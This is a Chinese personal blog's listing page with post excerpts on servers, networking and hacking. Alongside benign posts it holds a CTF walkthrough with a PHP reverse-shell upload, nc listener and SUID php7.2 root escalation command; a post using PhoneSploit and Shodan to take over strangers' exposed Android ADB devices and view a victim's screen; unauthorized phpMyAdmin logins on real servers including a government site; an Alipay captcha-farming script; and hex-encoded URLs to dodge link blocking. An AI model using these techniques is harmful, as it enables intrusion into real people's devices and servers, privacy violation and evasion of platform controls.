首页
站点导航
关于道锋
友情链接
工具
公告栏
推荐
个人主页
站点状态监控
服务状态监控
节点状态监控
文件门户
鳞图图床
Search
1
兽装曲腿制作文档
658 阅读
2
CloudFront CDN配置教程
250 阅读
3
Frpc使用XTCP不通过服务器传输
222 阅读
4
优化你的Typecho禁止F12和查看源码
121 阅读
5
境外服务器的各种线路说明
93 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
Nginx
Apache
Tomcat
登录
Search
标签搜索
源码
开源
教程
服务器
摄影
环境搭建
VS CODE
Rust
rustlang
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
221
篇文章
累计收到
79
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
Nginx
Apache
Tomcat
页面
站点导航
关于道锋
友情链接
工具
公告栏
推荐
个人主页
站点状态监控
服务状态监控
节点状态监控
文件门户
鳞图图床
搜索到
32
篇与
的结果
2023-02-25
在FastApi中运行Asyncio子进程导致NotImplementedError错误的解决方法
在FastApi中运行Asyncio子进程导致NotImplementedError错误的解决方法
2023年02月25日
6 阅读
1 评论
0 点赞
2022-07-23
Linux下du命令和df命令读取的磁盘占用不一致问题
前引前几天,站长随手打开了本站的后台,宝塔面板有接近一个月没有登陆控制面板,寻思着日志占用应该也非常大了然后站长就看到了如下场景50G的系统盘占用达到了69%(其实之前是85%,后来清理日志文件后降低到69%)然后发现不管怎么清理日志或者是其他的垃圾文件,空间占用就是没法降低。因此习惯性的连上sshdf -hl结果和宝塔显示的大同小异同样也是占用69%ps:这其实很正常,宝塔面板和df命令读取的都是磁盘的superblock信息,数据相同也无可厚非。但是问题就在这来了,站长不信邪,不相信系统盘占用有这么高。因为本站的服务器挂载有两块数据盘,一块800G,一块4T,站点日志和站点数据,面板都安装在数据盘上,理论上不应该会占用系统盘的空间啊。于是使用cd / du -sh * | sort -n du -h -x --max-depth=1去直接计算根目录下所有目录的大小好家伙,除去挂载点的大小,实际系统根目录占用仅仅5.5G,根本不到69%这是什么情况呢解决错误的想法细心的网友可能会注意到,如果这5.5G,加上www挂载点的15G,加上data挂载点的0.7G5.5+15+0.7,大概21.2G左右,加上前面的tmpfs空间,正好大概33G事情会不会这么巧呢,还真是巧合而已。解析区别前面有说,宝塔面板和df命令读取的都是磁盘分区的 superblock 信息。而 du 命令则是一个个调用系统的 fstat 去统计文件的总大小所以,理论上 df 统计的是更准确的那这么说,为什么 df 统计的结果会和 du 差那么多呢。是因为 df 统计的时候是从文件系统考虑的,不仅仅计算了文件的大小,也计算了被删除的文件,但进程还没释放的部分。例如文件已经被删除,但是被某个进程持有。其原理是读取每个分区的superblock来获取空闲数据块、已使用数据块.从而计算出空闲空间和已使用空间,所以也因此导致df统计的速度极快(才占用1024字节)。那df是怎么统计删除的文件的呢 简单说一下,只要bmap中不将这个文件的data block标记为未使用,就会算到实际使用的空间中。bmap是元数据区的一个位标记,其中记录的是数据区的block是否被使用。解决那我被占用的空间去哪了这是个好问题,但是在这之前,站长需要发一个提醒{message type="error" content="以下内容仅限在测试环境中使用测试,若应用于生产环境请三思后行"/}{message type="error" content="以下部分操作会杀死驻留进程,会影响到业务稳定,若需要使用,请按照具体情况进行修改"/}1.要找到这些丢失的空间,我们得首先先找到这些僵尸文件使用cd / lsof |grep deleted可以找到已经被表为deleted的文件被什么进程占用然后可以使用kill批量结束进程。cd / lsof |grep -i delete|awk '{print $2}'|xargs kill到这,基本上就能解决大部分问题了站长的系统盘占用也恢复了
2022年07月23日
61 阅读
1 评论
1 点赞
2022-04-17
境外服务器的各种线路说明
通过一篇短文带你了解AS4809,AS4134,AS4837,AS9929,CUVIP,AS9809,CN2,GIA,GT等各种网络线路,让你挑选服务器的时候,能够更加得心应手
2022年04月17日
93 阅读
0 评论
0 点赞
2022-04-06
Frpc使用XTCP不通过服务器传输
frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支持根据域名进行路由转发。frp 是一款跨平台的内网穿透工具,支持 Windows、macOS 与 Linux,它需要你有一台拥有固定公网 IP 的电脑,VPS 最好,然后就能愉快的进行内网穿透了。还支持 https,甚至可以用它进行小程序开发。
2022年04月06日
222 阅读
0 评论
0 点赞
2021-02-04
支付宝五福自动脚本
源代码都给了,凑合着看吧源码来自一个不愿意透露姓名的开源人士,应要求将封面头图设为他头像使用方法:首先输入要领取的站点开始的序号,总共53个站点可以领取每隔77s会自动切换到下个站点进行领取,已经领取成功的,会进行记录,下次程序运行时将忽略领取成功的站点如果要换手机号领取,在一开始输入1确认,会自动把success.json覆盖掉,不然会因为上个手机号领取成功的站点而进行跳过。注意:支付宝此活动不能连续获得60(2月3日,根据大家的情况反映,支付宝已经把风控数量调整到10个验证码左右,24小时后解除风控)个验证码,否则24小时内无法再参加此次活动!程序暂无GUI页面,先凑合着用把。site.json、default.json和success.json必须和程序在一个目录,否则程序会闪退因为此次支付宝五福为了让大家交换卡,每人获得除了敬业福之外的随机两种福的概率是最大的,所以一般会大量开出两种福,这是正常现象。主要代码:import requests import os import codecs import sys import time import json import re from shutil import copyfile class WebRequests: def __init__(self): self.dirPath = '' self.getCaptchaUrl = 'https://rds.alipay.com/captcha.htm' self.getResultUrl = 'https://mobilegw.alipay.com/mgw.htm' self.operationType = { 'sendVerifyCode': 'alipay.tradecsa.biz.blessingprod.wufu2021.sendVerifyCode', 'outPrize': 'alipay.tradecsa.biz.blessingprod.wufu2021.outPrize' } self.s = requests.Session() self.headers = { 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 10; zh-CN; MI 9 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Quark/4.3.3.145 Mobile Safari/537.36 Edg/89.0.4389.6', 'DNT': '1' } def loads_jsonp(self, _jsonp): try: return json.loads(re.match(".*?({.*}).*", _jsonp, re.S).group(1)) except: raise ValueError('Invalid Input') def getCaptcha(self, mobile, source): digits = 32 hex = codecs.encode(os.urandom(digits), 'hex').decode() data = { 'appid': "blessingprod_wufu_otp", 'bizNo': hex, 'mobile': mobile, 'refer': "", 'scene': "DO_NOTHING", 'type': "silence", 'useragent': "Mozilla/5.0 (Linux; U; Android 10; zh-CN; MI 8 UD Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Quark/4.3.3.145 Mobile Safari/537.36 Edg/89.0.4389.6" } self.s.options(self.getCaptchaUrl) try: r = self.s.post(self.getCaptchaUrl, json=data, headers=self.headers) # print(r.text) rdsToken = json.loads(r.content)['data']['extra']['token'] requestData = [{"mobile": mobile, "source": source, "rdsBizNo": hex, "rdsToken": rdsToken}] getResultData = { '_fli_online': True, 'operationType': self.operationType['sendVerifyCode'], 'requestData': str(requestData), '_': int(round(time.time() * 1000)), 'callback': 'jsonp' + str(int(round(time.time() * 1000))) } re = self.s.get(self.getResultUrl, params=getResultData, headers=self.headers) # 'jsonp16121({"resultStatus":1000,"result":{"code":"5101","resultView":"人气太旺了,请稍后再试","success":true}})' # print(re.text) re_json = self.loads_jsonp(re.text) if re_json['result']['success'] == True: return {"code": 1000, "info": f'成功获取验证码,请注意查收'} else: resultView = re_json['result']['resultView'] return {"code": 1001, "info": f'获取验证码失败,原因为{resultView}'} except Exception as e: return {"code": 1001, "info": f'获取验证码失败,原因为 {e}'} def getResult(self, mobile, source, ackCode): requestData = [ {"mobile": mobile, "source": source, "ackCode": str(ackCode)}] getResultData = { '_fli_online': True, 'operationType': self.operationType['outPrize'], 'requestData': str(requestData), '_': int(round(time.time() * 1000)), 'callback': 'jsonp' + str(int(round(time.time() * 1000))) } try: re = self.s.get(self.getResultUrl, params=getResultData, headers=self.headers) # jsonp16121({"resultStatus":1000,"result":{"code":"50144","hasPrized":false,"hasUserId":false,"resultView":"已经领取过奖品","success":false}}) # print(re.text) re_json = self.loads_jsonp(re.text) if re_json['result']['success'] == True: return {"code": 1000, "info": f'成功领取'} else: resultView = re_json['result']['resultView'] return {"code": 1001, "info": f'领取失败,原因为 {resultView}'} except Exception as e: return {"code": 1001, "info": f'领取失败,原因为 {e}'} def getSiteNum(self): path = os.path.join(self.dirPath, "site.json") with open(path, 'r', encoding='utf8')as fp: json_data = json.load(fp) return len(json_data['channelList']) def getSiteInfo(self, num): path = os.path.join(self.dirPath, "site.json") with open(path, 'r', encoding='utf8')as fp: json_data = json.load(fp) length = len(json_data['channelList']) if num > length: print(f"站点的长度为{length},{num}已经超出这个长度") return None return json_data['channelList'][num-1] def getAllSiteInfo(self): path = os.path.join(self.dirPath, "site.json") with open(path, 'r', encoding='utf8')as fp: json_data = json.load(fp) return json_data['channelList'] def getSiteName(self, siteInfo): return siteInfo['sourceList'][0]['name'] def getSiteSource(self, siteInfo): return siteInfo['sourceList'][0]['source'] def addSuccessSite(self, siteInfo): path = os.path.join(self.dirPath, "success.json") add = self.isSuccessSite(siteInfo) if add == False: with open(path, 'r+', encoding='utf8')as fp: json_data = json.load(fp) with open(path, 'w', encoding='utf8')as fp: json_data['channelList'].append(siteInfo) fp.write(json.dumps(json_data, indent=4)) def isSuccessSite(self, siteInfo): path = os.path.join(self.dirPath, "success.json") with open(path, 'r+', encoding='utf8')as fp: json_data = json.load(fp) if siteInfo in list(json_data['channelList']): return True else: return False def main(path): webRequests = WebRequests() webRequests.dirPath = path print(f"总共有{webRequests.getSiteNum()}个站点可以领取福卡") for i in range(1, webRequests.getSiteNum()+1): siteInfo = webRequests.getSiteInfo(i) siteName = webRequests.getSiteName(siteInfo) print(f"{i}:{siteName}") startSite = int(input("您要从第几个站点开始向后领取?")) mobile = input("请输入您的手机号:") for i in range(startSite, webRequests.getSiteNum()+1): siteInfo = webRequests.getSiteInfo(i) siteName = webRequests.getSiteName(siteInfo) siteSource = webRequests.getSiteSource(siteInfo) if webRequests.isSuccessSite(siteInfo): print(f"{i}:{siteName} 已经成功领取,跳过") continue print(f"{i}:{siteName} 正在领取中") result = webRequests.getCaptcha(mobile, siteSource) print(result['info']) if result['code'] == 1001: if str(result['info']).find("验证码发送过频繁") != -1: print("验证码需等待77s后才能获取,正在等待..") time.sleep(77) result = webRequests.getCaptcha(mobile, siteSource) if str(result['info']).find("人气太旺啦,稍候再试试") != -1: print("您的手机号在近期已经获得了多次支付宝验证码,已被支付宝限制,24小时内无法再获得验证码,程序终止。") break elif str(result['info']).find("人气太旺啦,稍候再试试") == -1 and str(result['info']).find("验证码发送过频繁") == -1: continue ackCode = input("请输入验证码:") result = webRequests.getResult(mobile, siteSource, ackCode) print(result['info']) if result['code'] == 1000 or result['info'].find("已经领取过奖品") != -1: webRequests.addSuccessSite(siteInfo) print("验证码需等待77s后才能获取,正在等待..") time.sleep(77) input("程序已结束,您可以关闭此程序了") def newphone(): pa = 'success.json' if os.path.exists(pa): os.remove(pa) try: copyfile("default.json", pa) except IOError as e: print("错误 %s 5秒后退出" % e) time.sleep(5) sys.exit() except: print("错误,5秒后退出:", sys.exc_info()) time.sleep(5) sys.exit() if __name__ == '__main__': print("请问是否使用的新账号是输入1 否任意:") if int(input())== 1: newphone() path = os.path.dirname(os.path.realpath(sys.argv[0])) main(path) 源码地址:需要环境源码版:下载无需环境编译版:下载
2021年02月04日
15 阅读
2 评论
0 点赞
2020-11-15
对《奇迹觉醒》的解包研究学习
《奇迹MU:觉醒》是经韩国网禅正版授权,由北京天马时空网络技术有限公司研发,腾讯独家代理运营的一款手机游戏一、软件准备《apktool》1、apktool文件的下载apktool是反编译Android apk文件的工具,apktool的主页是 https://ibotpeaches.github.io/Apktool/;我们可以从这里找到最新版本的apktool.jar文件 https://bitbucket.org/iBotPeaches/apktool/downloads/,以及apktool的安装说明。2、apktool的安装前面我们已经下载了最新的apktool.jar文件,最新版本是2.3.1,请按照以下步骤操作,参考 https://ibotpeaches.github.io/Apktool/install/新建文本文件,将下面的脚本复制到文本并保存,然后重命名为apktool.bat;@echo off if "%PATH_BASE%" == "" set PATH_BASE=%PATH% set PATH=%CD%;%PATH_BASE%; chcp 65001 2>nul >nul java -jar -Duser.language=en -Dfile.encoding=UTF8 "%~dp0\apktool.jar" %* 从上面脚本中也可以看到是用apktool.jar文件去处理;将下载的apktool_2.3.1.jar文件重命名为apktool.jar;3、apktool的使用将上述两个文件apktool.bat和apktool.jar文件放到同一文件夹下(任意路径),打开命令窗口(win+R–>cmd–>enter);定位到apktool所在的文件夹;(若有java的系统变量也是可以的)输入以下命令:apktool.bat d -f ***.apk objectFolderPath 其中,objectFolderPath为可选项,如果此项不存在,软件将会在apktool文件夹下新建一个apk文件名的文件夹,否则存储到目标文件夹《UnityStudio》1.下载运行地址:https://github.com/Perfare/UnityStudio/releases最新版本支持unity5.x《winhex》(可选)下载地址http://www.x-ways.net/winhex.zip二、过程1.使用apktool对目标apk安装包进行拆解cd F:\解包\qjjx apktool d 10040714_com.tencent.tmgp.tmsk.qj2_a951663_8.2.0_27fhqs.apk //我的环境已经配置好了环境变量,直接cd到目标目录使用即可解包完成,目录下生成了一个和文件包同名的文件夹观察目录,发现asset文件夹占据了几乎99%的大小,估算模型数据在此目录下其实好像都是这个目录腾讯的开发者还是素质很高的,每个目录下是什么都清清楚楚的2.搜寻读取资源文件经过查看装备Equip,发现大量的unity3d文件(以此为例)还是打开winhex确认一下使用的版本号也是5.x使用先前下载的UnityStudio(或称AssetStudio)批量打开文件目录或单独打开文件比如。。。。资源的内容已经展示出来了(不限于此目录),可以选择需要的资源文件导出三、总结该文,该教材仅仅用作个人学习研究使用,请勿利用教材内容,进行有损目标软件公司利益的事情(包括但不限于版权纠纷,非法入侵纠纷)。本教程慨不负责类似案例:https://www.dfql.io/?p=1880 过程几乎相同,且适用于几乎所有unity3D引擎的游戏
2020年11月15日
8 阅读
0 评论
0 点赞
2020-11-08
对《神都夜行录》的解包研究学习
《神都夜行录》是由网易游戏制作发行的一款国风妖怪收集RPG手游。游戏的整体故事发生在大唐年间,神都盛世天下生平、魑魅魍魉百妖横行,玩家扮演的降妖师会历经各种冒险,学习降妖之术,解决各类神秘可疑的妖怪作乱事件一、软件准备1.PC端游戏客户端 2.quickbms 3.RMAViewer 4.IqeBrowser 5.Noesis 6.3dsmax 网盘下载:https://pan.baidu.com/s/1jLoyZBfGlDnxGxTHJFdX7g 7mnf 流程:*.npk -quickbms-> *.dat -RMAViewer-> *.iqe -IqeBrowser-> *.iqm -Noesis-> *.fbx -3dmax-> *.pmd -PmxEditor-> *.pmx二、资源定位163家的游戏,安装包都是npk封装、更新包嘛,,,搞不懂。真够大的。。。6个资源文件在 *\Netease\yxl 下,目标就是...够多的。。。三、准备解包先把几个资源文件复制一份单独操作。。。还是上winhex看看目标压缩制式NXPK? 不是EXPK就好(没研究EXPK)用quickbms和官方脚本 nxpk.bms# NXPK npk (script 0.3.8) # Demon Seals HD and others # script for QuickBMS http://quickbms.aluigi.org get EXT extension math NAMES = -1 math EXISTS = 0 math NAMES_METHOD = 0 /* # this format is totally useless because it's only a sequence of integers string TMP p "%s_hash" EXT open FDDE TMP 1 EXISTS if EXISTS == 0 string TMP p "%s.hash" EXT open FDDE TMP 1 EXISTS endif */ if EXISTS == 0 open FDDE "hash" 1 EXISTS endif if EXISTS == 0 string TMP p "%s.info" EXT open FDDE TMP 1 EXISTS endif if EXISTS != 0 comtype zlib_noerror get TMP1 byte 1 get TMP2 byte 1 if TMP1 == 0x1f && TMP2 == 0x8b comtype gzip endif get SIZE asize 1 clog MEMORY_FILE 0 SIZE SIZE 1 get SIZE asize MEMORY_FILE for i = 0 savepos TMP MEMORY_FILE if TMP >= SIZE break endif get TMP line MEMORY_FILE getvarchr TMP0 TMP 0 if NAMES >= 0 if TMP0 == 0x53 || TMP0 == 0x73 # "S" and "sS" if TMP0 == 0x53 # "S'" string TMP << 2 else string TMP << 3 endif string TMP - 1 if i & 1 strlen TMPSZ TMP if TMPSZ != 32 || TMP & \ string TMP x TMP string TMP b TMP putvarchr TMP 32 0 endif string TMP u TMP string TMP p "_%s" TMP # LAME BUGFIX FOR QUICKBMS!!! putarray 10 NAMES TMP math NAMES + 1 else putarray 11 NAMES TMP endif math i + 1 endif else if TMP0 == 'a' math NAMES = 0 # skip the first string endif endif next else string TMP p "%s.map" EXT open FDDE TMP 1 EXISTS if EXISTS != 0 math NAMES_METHOD = 1 get MAP_SIZE asize 1 for OFFSET = 0 != MAP_SIZE get TMP line 1 string ELEMENTS S TMP NAME NAME_CRC ZSIZE ZCRC SIZE CRC OFFSET putarray 10 NAMES NAME_CRC putarray 11 NAMES NAME math NAMES + 1 savepos OFFSET 1 next endif endif /* # debug for x = 0 < NAMES getarray HASH 10 x getarray NAME 11 x print "%HASH% %NAME%" next x */ set KEY string "" for x = 0 < 0x100 xmath TMP "x - 2" putvarchr KEY x TMP next x idstring "NXPK" get FILES long get VER1 long get VER2 long get VER3 long math MODE = 0 if VER1 >= 1 && VER3 > 1 math MODE = 1 endif math INFO_SIZE = 0x1c if MODE != 0 math INFO_SIZE = 0x28 endif get OFFSET long # if I used this work-around it means it was necessary in a sample, don't know what sample... get NXPK_SIZE asize if OFFSET u> NXPK_SIZE xmath OFFSET "NXPK_SIZE - (FILES * INFO_SIZE)" endif goto OFFSET for i = 0 < FILES get NAME_CRC long get OFFSET long get ZSIZE long get SIZE long get ZCRC long get CRC long if MODE != 0 get DUMMY long get DUMMY long get FLAGS long get DUMMY long else get FLAGS long endif xmath ZFLAGS "FLAGS & 0xffff" xmath FLAGS "FLAGS >> 16" if ZFLAGS == 2 comtype lz4 else # 0 comtype zlib endif set NAME string "" if NAMES > 0 if NAMES_METHOD == 0 encryption md5 "" log MEMORY_FILE OFFSET ZSIZE encryption "" "" string QUICKBMS_HEXHASH p "_%s" QUICKBMS_HEXHASH # LAME BUGFIX FOR QUICKBMS!!! else math QUICKBMS_HEXHASH = NAME_CRC endif for x = 0 < NAMES getarray TMP 10 x if TMP == QUICKBMS_HEXHASH getarray NAME 11 x putarray 10 x "" math x = NAMES # break endif next x endif math FILENUM = 0 if FLAGS & 1 math TMP = 0x80 if TMP > ZSIZE math TMP = ZSIZE endif encryption xor KEY "" 0 TMP log MEMORY_FILE OFFSET TMP encryption "" "" math OFFSET + TMP xmath TMP "ZSIZE - TMP" append log MEMORY_FILE OFFSET TMP append math OFFSET = 0 math FILENUM = -1 endif if SIZE == ZSIZE log NAME OFFSET SIZE FILENUM else clog NAME OFFSET ZSIZE SIZE FILENUM endif next i 启动quickbms.exe 然后选择nxpk.bms作为payload,然后再选择要解的文件和保存目录然后自动就开始解了除去头部偏移字节,解包进度到99%,解包已经完成,获得12661个文件因为数据量比较大,这里仅对res1.npk拆解讲解。四、文件说明解包出来的文件有好几种类型,主要有如下几种既然主要还是研究模型,那么打开RMAViewer File》Open Folder 载入我们的res1文件夹选择列表内的文件可以进行浏览,上下键控制选择焦点,滚轮或QE控制远近,WSAD键控制视角,左键按住旋转模型比如。。。这里以茨木为例选择Save IQE导出有骨骼的模型,然后在res1文件夹中筛选出iqe后缀当然Save OBJ也是可以的。只不过就只有模型了。比如:如果导出的iqe有问题或为了保险,可通过IQEFix.exe进行一次修复操作,直接将文件拉进exe即可五、格式转换iqe:以文本格式 存储的可带骨骼带贴图模型文件 iqm:以二进制 存储的可带骨骼带贴图模型文件 区别:二进制比文本格式更为通用,能被大多数模型软件读取,且压缩率更高体积更小。启动IqeBrowser,吧我们的模型导入切记目录必须为纯英文,否则文件可能打不开选中要转换的模型 Ctrl+S保存 选择【*.iqm】启动Noesis将刚刚转换的iqm导入,转换为fbx文件贴图和模型UV方向一致,则可以直接贴材质,不一致贴上会错乱。六、查找贴图启动3dsmax 导入fbx查找对应的dds技巧是将res1与res2中的所有.dds整合到新建的文件夹选择浏览视图为详细信息,以文件大小排序,剪切所有文件大小为1366KB的高清贴图在3dmax中展UV图形,以此为根据,寻找目标dds文件导入七、总结该文,该教材仅仅用作个人学习研究使用,请勿利用教材内容,进行有损目标软件公司利益的事情(包括但不限于版权纠纷,非法入侵纠纷)。本教程慨不负责bilibili同步连接 https://www.bilibili.com/read/cv8274072
2020年11月08日
12 阅读
0 评论
0 点赞
2020-11-07
对《山海镜花》的解包研究学习
《山海镜花》 是游族旗下新番工作室研发的以《山海经》为蓝本创作的东方幻想3D回合制RPG手游一、软件准备《apktool》1、apktool文件的下载apktool是反编译Android apk文件的工具,apktool的主页是 https://ibotpeaches.github.io/Apktool/;我们可以从这里找到最新版本的apktool.jar文件 https://bitbucket.org/iBotPeaches/apktool/downloads/,以及apktool的安装说明。2、apktool的安装前面我们已经下载了最新的apktool.jar文件,最新版本是2.3.1,请按照以下步骤操作,参考 https://ibotpeaches.github.io/Apktool/install/新建文本文件,将下面的脚本复制到文本并保存,然后重命名为apktool.bat;@echo off if "%PATH_BASE%" == "" set PATH_BASE=%PATH% set PATH=%CD%;%PATH_BASE%; chcp 65001 2>nul >nul java -jar -Duser.language=en -Dfile.encoding=UTF8 "%~dp0\apktool.jar" %* 从上面脚本中也可以看到是用apktool.jar文件去处理;将下载的apktool_2.3.1.jar文件重命名为apktool.jar;3、apktool的使用将上述两个文件apktool.bat和apktool.jar文件放到同一文件夹下(任意路径),打开命令窗口(win+R-->cmd-->enter);定位到apktool所在的文件夹;(若有java的系统变量也是可以的)输入以下命令:apktool.bat d -f ***.apk objectFolderPath 其中,objectFolderPath为可选项,如果此项不存在,软件将会在apktool文件夹下新建一个apk文件名的文件夹,否则存储到目标文件夹《UnityStudio》1.下载运行地址:https://github.com/Perfare/UnityStudio/releases最新版本支持unity5.x《winhex》(可选)下载地址http://www.x-ways.net/winhex.zip二、过程1.使用apktool对目标apk安装包进行拆解cd F:\解包\山海 apktool d com.youzu.shjh.huawei.apk //我的环境已经配置好了环境变量,直接cd到目标目录使用即可解包完成,目录下生成了一个和文件包同名的文件夹观察目录,发现asset文件夹占据了几乎99%的大小,估算模型数据在此目录下继续进入,发现AssetBundle目录下存在大量的数据文件,估测为目标2.搜寻读取资源文件经过查看,发现大量的dat文件初步经过修改后缀为obj dds 3ds打开无效,使用winhex读取文件发现UnityFS 5.x.x这样的文件头,确定为unity3d工程文件使用先前下载的UnityStudio(或称AssetStudio)批量打开文件目录或单独打开文件资源的内容已经展示出来了(不限于npc目录),可以选择需要的资源文件导出三、总结该文,该教材仅仅用作个人学习研究使用,请勿利用教材内容,进行有损目标软件公司利益的事情(包括但不限于版权纠纷,非法入侵纠纷)。本教程慨不负责bilibili同步连接 https://www.bilibili.com/read/cv8274140
2020年11月07日
16 阅读
0 评论
0 点赞
2020-08-24
宝塔7.4.2 phpMyadmin未授权登录漏洞
宝塔昨天给每位注册用户基本上都发了这样一条消息经过询问一些大佬,得知是phpmyadmin登录的一个问题具体如下,在访问 IP:888/pma/ 的时候,不需要验证mysql账号密码即可以登录phpmyadmin如这个服务器这个服务器已经修复了这个服务器可以看到,不管是apache还是NGINX统统遭殃可以正常查询所有信息甚至是某政府网站。。。。也遭殃了漏洞修复@@@升级脚本@@@
2020年08月24日
10 阅读
1 评论
0 点赞
2020-08-12
Vulnhub靶场之Photographer: 1
废话不多说。下载安装先。启动kali虚拟机继续arp-scan -l查询目标ip目标:192.168.163.130,使用浏览器访问验证是目标地址使用nmap -sS -A 192.168.163.130查询相关的端口信息开放端口:80,139,445,8000刚刚80端口这边我们已经访问过了,是纯静态的内容,逐一访问,发现8000端口存在一个CMS系统是一个koken的cms,查询源码发现是0.22.24版本使用nikto扫描工具扫描目录nikto -h http://192.168.163.130:8000/可能存在admin目录,我们访问一下试试看页面设计的还不错。。。登录需要邮箱。我们目前没有,查阅exp库发现koken版本0.22.24的上传漏洞不过我没法登录,咋上传啊,首页也没有上传点呐于是乎,这个漏洞只能后期用刚刚我们发现存在445 139端口,具有smb的特征,那么,文件系统是否有值得我们搜索的东西呢使用enum4linux探索445端口 enum4linux 192.168.163.130没有账号密码,我们使用空密码连接挂载到我们本地目录下去看到有两个文件,第一个似乎是什么邮件的文件,我们cat一下那是密码吗?是邮箱号码?
[email protected]
或者
[email protected]
密码: babygirl都试试看登录成功这样一来,刚刚的上传漏洞就能搞他了使用Kali自带的php反弹脚本来进行利用cp /usr/share/webshells/php/php-reverse-shell.php ~/yyssdd.php.jpg改一下监听端口七七八八。接下来上传,使用burp修改后缀名访问我们刚刚上传的另外在kali这边设置好监听nc -lvnp 1234监听好后开始访问,获取到反弹shell接下来python3 -c 'import pty;pty.spawn("/bin/bash")' 获取到交互式shell接下来查询关键的具有suid访问权限的程序find / -perm -u=s -type f 2>/dev/null发现有一个php7.2的东东具有权限,我们利用php7.2获取到root权限/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"使用php7.2的exec调起sh执行获取到root最高权似乎是旗子,搞定
2020年08月12日
12 阅读
0 评论
0 点赞
2020-07-31
十六进制网址探究
今天在某php群里看到了这样一个消息这奇怪的的域名把道锋我吓了一大跳,关键是,他能访问??看这个后缀,意识到哪里不对劲,这绝对不是“正常”的域名访问的时候稍微研究了一下他的URL先是访问到了一个ip,然后才去向他的网站的。难道是ip有问题?我的咋就不能这么折腾呢?我这犟脾气上来了,看了看他的地址:http://0X6A.0X0341D84很明显的看到有0x这个字符串。。这是?0x是十六进制的特征,可以理解成是一个注释,让计算机系统知道你这串数据是十六进制编码。既然知道这是十六进制了,拿这串地址的真实意思是什么呢?脑子抽筋的我,先是选择十六进制转字符来转换。结果。。。毫不意外,直接乱码警告。。。死脑筋的我一时间没转过弯来。直到我第二次访问火狐浏览器给我跳这段下拉。0x6a下方的IP虽然是计数到255,但是本身是十进制啊。难不成要十六进制转十进制?果然呢。。。。xxx.xxx.xxx.xxx都找到了一一对应的数据,那就很明白了,这串地址的编码顺序应该是这样的设aaa.bbb.ccc.ddd则地址串应该是 http://0X (HEXaaa).0X (HEXbbb)(HEXccc)(HEXddd)这么说,我也能用这东西来防红咯来到服务器,先安装上NGINX。记录下地址47.101.190.190根据换算HEX47=2f HEX101=65 HEX190=be 整合成地址:http://0X2f.0X065BEBE/完美,再设置一下NGINX目录302重定向就实现防红了这位老哥真的是骚气啊。类似的操作还比如八进制只不过八进制模式貌似没法完整转换成纯八进制编码串(可能是我打开方式不对)
2020年07月31日
7 阅读
0 评论
0 点赞
2020-06-14
使用Shodan扫描暴露的Adb控制全球在线的Andriod设备
这个项目是个好东西,但是fork有点惨淡。即便如此依然不影响它的能力,名称为PhoneSploit。支持Windows和Linux Windows的操作有点麻烦(不想折腾),因此本文以kali为主准备工作:PhoneSploitshodankail下载所需要的工具,也就是我们的项目。PhoneSploitLinux系统:git clone https://github.com/Zucccs/PhoneSploitcd PhoneSploitpip install coloramapython2 main_linux.pyWindows系统:git clone https://github.com/Zucccs/PhoneSploitextract adb.rar to the phonesploit directorycd PhoneSploitpip install coloramapython2 main.pyPS:由于我的kali环境比较全,没出现什么异常如果显示没有pip 的话,根据系统另行安装#python2 sudo apt install python-pip #非centos sudo yum install python2-pip #Centos #python3 sudo apt install python3-pip #非centos sudo yum install python3-pip #Centos看到下面的界面就表示安装成功由于我是Xshell的连接,色彩可能不一样接下来打开Shodan引擎一定一定要登录,不然没法搜索我们的相关语句之后根据关键词搜索,android debug bridge product:”Android Debug Bridge”.之后你就会看到如下界面。接下来根据工具所给的操作选项进行操作选项输入3我们输入靶机ip连接成功看到选项里面有一个查看屏幕的功能,我这里违背一下道德进行测试下载下来了看起来似乎在玩什么游戏遇到了广告输入14还能看到对方安装了什么软件所有操作请遵守法律!
2020年06月14日
3 阅读
0 评论
0 点赞
1
2
3